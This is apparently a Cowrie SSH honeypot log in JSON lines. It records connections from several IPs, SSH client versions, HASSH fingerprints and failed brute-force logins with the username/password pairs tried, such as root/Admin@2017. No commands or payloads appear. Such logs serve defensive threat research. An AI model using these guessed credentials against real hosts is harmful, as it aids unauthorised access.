{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":42830,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5ebe34351fa","protocol":"ssh","message":"New connection: 43.153.27.162:42830 (10.17.0.5:22) [session: d5ebe34351fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:38.681182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:38.686261Z","src_ip":"43.153.27.162","session":"d5ebe34351fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:38.754470Z","src_ip":"43.153.27.162","session":"d5ebe34351fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zx1023xz","message":"login attempt [root/zx1023xz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:39.058280Z","src_ip":"43.153.27.162","session":"d5ebe34351fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:40.130660Z","src_ip":"43.153.27.162","session":"d5ebe34351fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":41156,"dst_ip":"10.17.0.5","dst_port":22,"session":"722e58b12317","protocol":"ssh","message":"New connection: 20.12.41.6:41156 (10.17.0.5:22) [session: 722e58b12317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:48.490793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:48.495869Z","src_ip":"20.12.41.6","session":"722e58b12317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:48.510657Z","src_ip":"20.12.41.6","session":"722e58b12317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:48.600752Z","src_ip":"20.12.41.6","session":"722e58b12317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:49.618280Z","src_ip":"20.12.41.6","session":"722e58b12317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":57580,"dst_ip":"10.17.0.5","dst_port":22,"session":"c93505de8a98","protocol":"ssh","message":"New connection: 47.86.95.62:57580 (10.17.0.5:22) [session: c93505de8a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:54.703484Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:00.893414Z","src_ip":"47.86.95.62","session":"c93505de8a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":55794,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8552cbc3874","protocol":"ssh","message":"New connection: 165.154.23.26:55794 (159.203.135.109:22) [session: e8552cbc3874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:19.408535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:19.413345Z","src_ip":"165.154.23.26","session":"e8552cbc3874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:19.628318Z","src_ip":"165.154.23.26","session":"e8552cbc3874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:20.533267Z","src_ip":"165.154.23.26","session":"e8552cbc3874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:21.761609Z","src_ip":"165.154.23.26","session":"e8552cbc3874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":47700,"dst_ip":"159.203.135.109","dst_port":22,"session":"420d54c816ff","protocol":"ssh","message":"New connection: 31.59.89.180:47700 (159.203.135.109:22) [session: 420d54c816ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:34.813423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:34.818328Z","src_ip":"31.59.89.180","session":"420d54c816ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:34.937652Z","src_ip":"31.59.89.180","session":"420d54c816ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"akhtar","message":"login attempt [root/akhtar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:35.411638Z","src_ip":"31.59.89.180","session":"420d54c816ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:36.525548Z","src_ip":"31.59.89.180","session":"420d54c816ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":52088,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac8b6ca61772","protocol":"ssh","message":"New connection: 61.222.211.114:52088 (159.203.135.109:22) [session: ac8b6ca61772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:45.038188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:45.043562Z","src_ip":"61.222.211.114","session":"ac8b6ca61772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:45.255722Z","src_ip":"61.222.211.114","session":"ac8b6ca61772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":60588,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1d475c2c63b","protocol":"ssh","message":"New connection: 209.99.184.143:60588 (159.203.135.109:22) [session: d1d475c2c63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:46.038703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:46.043535Z","src_ip":"209.99.184.143","session":"d1d475c2c63b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2017","message":"login attempt [root/Admin@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:46.133778Z","src_ip":"61.222.211.114","session":"ac8b6ca61772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:46.138881Z","src_ip":"209.99.184.143","session":"d1d475c2c63b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:46.533712Z","src_ip":"209.99.184.143","session":"d1d475c2c63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:47.348446Z","src_ip":"61.222.211.114","session":"ac8b6ca61772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:47.628476Z","src_ip":"209.99.184.143","session":"d1d475c2c63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":43780,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad38aada57e0","protocol":"ssh","message":"New connection: 43.153.27.162:43780 (10.17.0.5:22) [session: ad38aada57e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:50.996184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:51.000382Z","src_ip":"43.153.27.162","session":"ad38aada57e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:51.067984Z","src_ip":"43.153.27.162","session":"ad38aada57e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanmateo","message":"login attempt [root/sanmateo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:51.369845Z","src_ip":"43.153.27.162","session":"ad38aada57e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:52.441305Z","src_ip":"43.153.27.162","session":"ad38aada57e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45922,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2b98803db84","protocol":"ssh","message":"New connection: 47.86.95.62:45922 (10.17.0.5:22) [session: d2b98803db84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:53.131487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:53.149200Z","src_ip":"47.86.95.62","session":"d2b98803db84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":63148,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8b26d24325f","protocol":"ssh","message":"New connection: 118.26.36.248:63148 (159.203.135.109:22) [session: d8b26d24325f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:57.125255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:57.129791Z","src_ip":"118.26.36.248","session":"d8b26d24325f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:57.343515Z","src_ip":"118.26.36.248","session":"d8b26d24325f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:58.228273Z","src_ip":"118.26.36.248","session":"d8b26d24325f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:54:59.445095Z","src_ip":"118.26.36.248","session":"d8b26d24325f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":57930,"dst_ip":"10.17.0.5","dst_port":22,"session":"622ec35ebb6a","protocol":"ssh","message":"New connection: 20.12.41.6:57930 (10.17.0.5:22) [session: 622ec35ebb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:10.377085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:55:10.382060Z","src_ip":"20.12.41.6","session":"622ec35ebb6a","protocol":"ssh"}
